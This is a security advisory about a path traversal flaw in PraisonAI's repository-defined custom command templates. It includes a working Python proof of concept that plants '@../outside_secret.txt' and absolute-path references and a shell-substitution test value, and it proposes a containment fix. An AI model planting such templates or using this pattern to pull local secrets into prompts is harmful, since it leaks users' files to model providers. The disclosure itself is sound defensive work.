PraisonAI: Project custom command templates can read outside-workspace files into model prompts
Description
# Project custom command templates can read outside-workspace files into model prompts ## Summary PraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt. The interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt. This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt. ## Technical Details The feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main: ```text current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab current describe: v4.6.64-8-g3aa9cbc2 ``` `src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands. `interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory: ```python return interpolator.interpolate(command.template, arguments, Path.cwd()) ``` `TemplateInterpolator._interpolate_files()` then matches every `@([^\s]+)` token and reads the referenced file: ```python if working_dir: file_path = working_dir / file_path_str else: file_path = Path(file_path_str) if file_path.exists() and file_path.is_file(): with open(file_path, 'r') as f: return f.read() ``` There is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / "/absolute/path"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened. The sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`. ## PoV A minimal vulnerable repository only needs a project command template and an outside file: ```text workspace/ .git/ .praisonai/ commands/ relative_escape.md # contains @../outside_secret.txt absolute_escape.md # contains an absolute path outside workspace inside.txt outside_secret.txt ``` When the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`. The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary. ## PoC From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required. ```bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab python3 - "$PWD" <<'PY' from __future__ import annotations import importlib.util import json import os import subprocess import sys import tempfile import types from pathlib import Path CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace" def install_yaml_fallback_if_needed() -> str: if importlib.util.find_spec("yaml") is not None: return "installed" yaml_stub = types.ModuleType("yaml") class YAMLError(Exception): pass def safe_load(text: str): data = {} for raw_line in text.splitlines(): line = raw_line.strip() if not line or line.startswith("#") or ":" not in line: continue key, value = line.split(":", 1) data[key.strip()] = value.strip().strip("'\"") return data yaml_stub.safe_load = safe_load yaml_stub.YAMLError = YAMLError sys.modules["yaml"] = yaml_stub return "stubbed" def add_source_to_path(source_root: Path) -> None: candidate = source_root / "src" / "praisonai" if (candidate / "praisonai").exists(): sys.path.insert(0, str(candidate)) return raise SystemExit(f"Could not find PraisonAI sources below {source_root}") class pushd: def __init__(self, path: Path): self.path = path self.old = Path.cwd() def __enter__(self): os.chdir(self.path) def __exit__(self, *_exc): os.chdir(self.old) def write_command(commands_dir: Path, name: str, body: str) -> None: commands_dir.mkdir(parents=True, exist_ok=True) (commands_dir / f"{name}.md").write_text( "---\n" f"description: {name}\n" "---\n" f"{body}\n", encoding="utf-8", ) source_root = Path(sys.argv[1]).resolve() yaml_dependency = install_yaml_fallback_if_needed() add_source_to_path(source_root) from praisonai.cli.features.custom_definitions import interpolate_command_template with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp: temp_root = Path(tmp).resolve() workspace = temp_root / "workspace" workspace.mkdir() subprocess.run(["git", "init", "-q"], cwd=workspace, check=True) inside = workspace / "inside.txt" outside = temp_root / "outside_secret.txt" inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8") outside.write_text(f"{CANARY}\n", encoding="utf-8") commands_dir = workspace / ".praisonai" / "commands" write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt") write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}") write_command(commands_dir, "inside_control", "Review inside:\[email protected]") write_command(commands_dir, "missing_control", "Missing stays literal:\[email protected]") write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)") with pushd(workspace): relative_result = interpolate_command_template("relative_escape", "operator argument") absolute_result = interpolate_command_template("absolute_escape", "operator argument") inside_result = interpolate_command_template("inside_control", "operator argument") missing_result = interpolate_command_template("missing_control", "operator argument") shell_result = interpolate_command_template("shell_control", "operator argument") result = { "vulnerable": all( [ CANARY in (relative_result or ""), CANARY in (absolute_result or ""), "INSIDE_FILE=allowed" in (inside_result or ""), "@missing.txt" in (missing_result or ""), not (workspace / "SHOULD_NOT_EXIST").exists(), ] ), "expectations": { "relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""), "absolute_path_discloses_outside_file": CANARY in (absolute_result or ""), "inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""), "missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""), "shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(), }, "samples": { "relative_escape": relative_result, "absolute_escape": absolute_result, "inside_control": inside_result, "missing_control": missing_result, "shell_control": shell_result, }, "yaml_dependency": yaml_dependency, } print(json.dumps(result, indent=2, sort_keys=True)) raise SystemExit(0 if result["vulnerable"] else 1) PY ``` Expected vulnerable output: ```json { "expectations": { "absolute_path_discloses_outside_file": true, "inside_control_expands_workspace_file": true, "missing_control_leaves_missing_reference": true, "relative_parent_traversal_discloses_outside_file": true, "shell_control_does_not_create_file": true }, "samples": { "absolute_escape": "Review absolute outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n", "inside_control": "Review inside:\nINSIDE_FILE=allowed\n", "missing_control": "Missing stays literal:\[email protected]", "relative_escape": "Review outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n", "shell_control": "Shell substitution is escaped:\n\\$(touch SHOULD_NOT_EXIST)" }, "vulnerable": true, "yaml_dependency": "installed" } ``` The PoC does not contact a model provider or any external service. It stops at the interpolation step that `praisonai run --command` uses before calling `_run_prompt()`. ## Impact An attacker who can supply or modify a repository can add a project command such as `.praisonai/commands/review.md` containing `@../outside_secret.txt` or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller. This report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning. Suggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command. Suggested CVSS 3.1 vector: ```text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N ``` Relevant CWEs: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor ## Suggested Fix Resolve command `@path` references through a single containment helper before opening files: 1. Resolve the project root or intended command workspace once. 2. For relative references, join to that root and then call `resolve()`. 3. For absolute references, either reject them outright or require `resolved.relative_to(root)` to succeed. 4. Reject escaped files before any `exists()`, `is_file()`, or `open()` operation. 5. Apply the same boundary to project and user command templates. 6. Add regression tests for `@../outside.txt`, `@/absolute/outside.txt`, a valid in-workspace file, a missing file, and shell-substitution escaping. Minimal shape: ```python def resolve_command_file(root: Path, value: str) -> Path: root = root.resolve() candidate = Path(value) if not candidate.is_absolute(): candidate = root / candidate resolved = candidate.resolve() try: resolved.relative_to(root) except ValueError as exc: raise PermissionError(f"command file reference escapes workspace: {value}") from exc return resolved ``` ## Affected Package/Versions The feature was introduced by commit `88cf0c29`. Current release tags now contain that commit, and PyPI currently publishes `praisonai` through `4.6.71`. ```text introducing commit: 88cf0c29 earliest affected release observed: v4.6.65 latest affected release observed: v4.6.71 latest PyPI version checked: 4.6.71 unaffected sampled tag: v4.6.64 fixed version: none identified yet ``` Affected package entry: ```text Ecosystem: pip Package: praisonai Vulnerable versions: >= 4.6.65 Patched versions: none yet ``` ## Advisory History No checked PraisonAI private advisory matched `.praisonai/commands/*.md`, `praisonai.cli.features.custom_definitions`, or custom command template `@path` interpolation. The closest comparator is `GHSA-2rcg-mm5h-xchx`, arbitrary file read via `@file:` mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from `.praisonai/commands/*.md`, not by a direct `@file:` mention path. The vulnerable code path here is `TemplateInterpolator._interpolate_files()` in `custom_definitions.py`, introduced by `88cf0c29`, and the sink is `praisonai run --command`. Other checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path. ## References - PraisonAI repository: https://github.com/MervinPraison/PraisonAI - Introducing commit `88cf0c29`: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29 - Current tested commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab - Comparator advisory `GHSA-2rcg-mm5h-xchx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx - PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy - CWE-22: https://cwe.mitre.org/data/definitions/22.html - CWE-200: https://cwe.mitre.org/data/definitions/200.html
CVSS v3.1 base metrics
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:NMedium severity
Band computed from the CVSS base score, not the source's own label — so it means the same thing across every feed.
AV
Local
Attack Vector
AC
Low
Attack Complexity
PR
None
Privileges Required
UI
Required
User Interaction
S
Unchanged
Scope
C
High
Confidentiality
I
None
Integrity
A
None
Availability
Affected
- Vendor
- PyPI
- Product
- praisonai
Versions
- pkg:pypi/praisonai < 4.6.78
Stated as the source expressed them.
References
- advisoryOSV GHSA-xpx6-x8c2-mw5whttps://osv.dev/vulnerability/GHSA-xpx6-x8c2-mw5w
- otherOSV webhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xpx6-x8c2-mw5w
- advisoryOSV advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-60088
- otherOSV webhttps://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
- vendorOSV packagehttps://github.com/MervinPraison/PraisonAI
- otherOSV webhttps://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-custom-commands
Related threats
same CWE or vendorCVE-2026-84275 — IBM Guardium Data Protection 12.2 is vulnerable to path traversal in the GIM file-upload functionality.
CVE-2026-84275 · 2h ago
CVE-2026-84274 — IBM Guardium Data Protection 12.2.2 is affected by a sensitive information exposure vulnerability.
CVE-2026-84274 · 2h ago
PraisonAI: Prompt-injection defense blocks only when 3+ detector families fire simultaneously; realistic single-vector injections pass through unblocked
CVE-2026-60086 · 3h ago
PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
CVE-2026-61433 · 3h ago
PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
CVE-2026-61435 · 3h ago
CVE-2026-107383 — MariaDB Connector/Node.js is used to connect applications developed on Node.js to MariaDB and MySQL databases.
CVE-2026-107383 · 3h ago